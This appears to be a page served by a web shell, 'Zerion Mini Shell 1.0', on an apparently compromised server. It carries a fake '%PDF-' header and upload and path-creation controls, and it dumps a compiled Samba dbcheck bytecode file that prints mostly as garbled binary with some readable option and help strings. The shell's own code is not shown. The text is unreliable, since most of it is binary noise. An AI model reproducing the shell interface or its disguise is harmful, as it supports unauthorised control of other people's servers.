%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /lib/python3/dist-packages/samba/netcmd/__pycache__/
Upload File :
Create Path :
Current File : //lib/python3/dist-packages/samba/netcmd/__pycache__/dbcheck.cpython-312.pyc

�

�I�d3��z�ddlZddlZddlmZddlmZddlmZddl	m
Z
mZmZddl
mZddlmZGd�de
�Zy)	�N)�system_session)�SamDB)�Command�CommandError�Option)�dbcheck)�colourc���eZdZdZdZejejejd�Z	d�Z
dgZedddd	�
�eddd
dd��edde
d��eddd
dd��eddddd
d��edddd
d� �ed!d"d#d$�
�ed%d&d
dd'��ed(d)d
dd*��ed+d,d
dd-��ed.d/d0d
d�1�ed2d3d4e
d5d6�7�ed8d9d
dej��g
Z								d;d:�Zy#)<�cmd_dbcheckz#Check local AD database for errors.z%prog [<DN>] [options])�	sambaopts�versionopts�credoptsc�J�|�J�|j}|rz|d}|dddk(rt|�dkDs|dddk(r.t|�dkDr |ddk7rt|jdd�yt|jd|j	��|d=yt|jdd�y)	Nr�z--��-�yesT�	yes_rules)�rargs�len�setattr�values�split)�option�opt�value�parserr�args      �6/usr/lib/python3/dist-packages/samba/netcmd/dbcheck.py�process_yeszcmd_dbcheck.process_yes+s����}��}��������(�C��R�a��D��S��X��\��R�a��C��C��H�q�L�S��V�s�]���
�
�u�d�3���
�
�{�C�I�I�K�@��!�H��F�M�M�5�$�/�zDN?z--scope�scope�SUBz>Pass search scope that builds DN list. Options: SUB, ONE, BASE)�dest�default�helpz--fix�fixF�
store_truezFix any errors found)r$r%�actionr&z--yes�callbackzrdon't confirm changes individually. Applies all as a single transaction (will not succeed if any errors are found))r)r*r&z--cross-ncs�	cross_ncszcross naming context boundariesz-vz	--verbose�verbosezPrint more details of checking)r$r)r%r&z-qz--quietzdon't print details of checking)r)r%r&z--attrs�attrsNz-list of attributes to check (space separated)z	--reindex�reindexzforce database re-indexz--force-modules�
force_moduleszVforce loading of Samba modules and ignore the @MODULES record (for very old databases)z--reset-well-known-acls�reset_well_known_aclszTreset ACLs on objects with well known default values (for updating from early 4.0.x)z--quick-membership-checks�quick_membership_checkszrSkips missing/orphaned memberOf backlinks checks, but speeds up dbcheck dramatically for domains with large groups)r$r&r%r)z-Hz--URLzFLDB URL for database or target server (defaults to local SAM database)�URL�H)r&�type�metavarr$z#--selftest-check-expired-tombstones�!selftest_check_expired_tombstonesc
�x�|�g}|
j�}|duxr|jd�}|r|	j|d��}nd}|rtt	�|||dg��}n	tt	�|||��}|�|s|}ntt	�d||��}tjtjtjd�}|j�}||vrtd	|z��||}d
g}|r|jd�|r|jd�|sd
g}n|j�}tjtj |j"��}d}|r|r|j%�d}	t'|||||||||||��}|D])}t)||�rt+||d��td|z��|
rI|j,j/d�d}|j1�r||j,j/d�n`|rI|j,j/d�d}|j3�r1|j,j/d�n|j5||||��}|r|j9�|dk7rtj:d�yy#td|z��xYw#|r|j7��xYw)N�ldapT)�fallback_machinezmodules=samba_dsdb)�session_info�url�credentials�lp�options)r:r;r<r=ztFailed to connect to DB at %s.  If this is a really old sam.ldb (before alpha9), then try again with --force-modules)r#�BASE�ONEzUnknown scope %szshow_deleted:1zpaged_results:1:1000zsearch_options:1:2�*)�hintF)
�samdb_schemar,r'r�quiet�in_transactionr1r0�check_expired_tombstonesr	�ALLzInvalid fix rule %szRe-indexing...
rzcompleted re-index OK
zResetting @MODULES...
zcompleted @MODULES reset OK
)�DNr"�controlsr-r)�get_loadparm�
startswith�get_credentialsrrr�ldb�
SCOPE_SUBTREE�
SCOPE_BASE�SCOPE_ONELEVEL�upper�appendrr	�colour_if_wanted�sys�stdout�requested_colour�transaction_startr�hasattrr�outf�write�reindex_database�
reset_modules�check_database�transaction_cancel�transaction_commit�exit) �selfrHr3r,r'rr+rDr"rrr
r-r.r/r1r0r6rr=�	over_ldap�creds�samdbrC�	scope_map�search_scoperI�
stdout_colour�started_transaction�chkr�error_counts                                 r�runzcmd_dbcheck.run\s������I�
�
#�
#�
%���T�M�:�a�l�l�6�&:�	���,�,�R�$�,�G�E��E���~�'7�Q�&+��=Q�<R�T�E�
_��>�+;��*/�B�8��

�9�I� �L� �n�.>�D�-2�r�;�L� �-�-�s�~�~�c�N`�N`�a�	����
���	�!��1�E�9�:�:� ��'��$�%����O�O�2�3���O�O�0�1���E�E��K�K�M�E��/�/��
�
�59�5J�5J�L�
�$���3��#�#�%�"&��!	��%�l�G�!�s�%�)<�2I�0E�3T�!.�
0�C�$�
G���3��'��C���/�&�'<�v�'E�F�F�	
G���	�	��� 2�3����'�'�)��I�I�O�O�$=�>���	�	��� 9�:����$�$�&��I�I�O�O�$C�D�"�0�0�B�l�:B�%�1�Q����$�$�&��!���H�H�Q�K���S
_�"�$Z�]^�$^�_�_��@	�"��(�(�*��s�!J�4C/J$�J!�$J9)NNFFFFFr#NNNNFFFFFN)�__name__�
__module__�__qualname__�__doc__�synopsisr>�SambaOptions�VersionOptions�CredentialsOptionsDouble�takes_optiongroupsr �
takes_argsr�str�
SUPPRESS_HELP�
takes_optionsrk�r!rrr!s~��-�'�H��)�)��-�-��4�4���0���J�	�y�w��T�	V��w�U�E�,�*�	,��w�z�K�I�	J��}�;��l�5�	7��t�[�y��u�4�	6��t�Y�|�U�5�	7��y�w��;j�k��{��E�,�Un�o�� ���l�bz�	{��(�+��\�8�	:�
	�*�1J�$��\�		3�
	�t�W�#k���S�	2��4�7��|��(�(�	*�9�M�BBG�#(�DH�5:�$)�"'�.3��fr!r)rMrT�samba.getopt�getoptr>�
samba.authr�samba.samdbr�samba.netcmdrrr�samba.dbcheckerr�sambar	rryr!r�<module>r�s6��&�
��%����
$��a�'�ar!

Zerion Mini Shell 1.0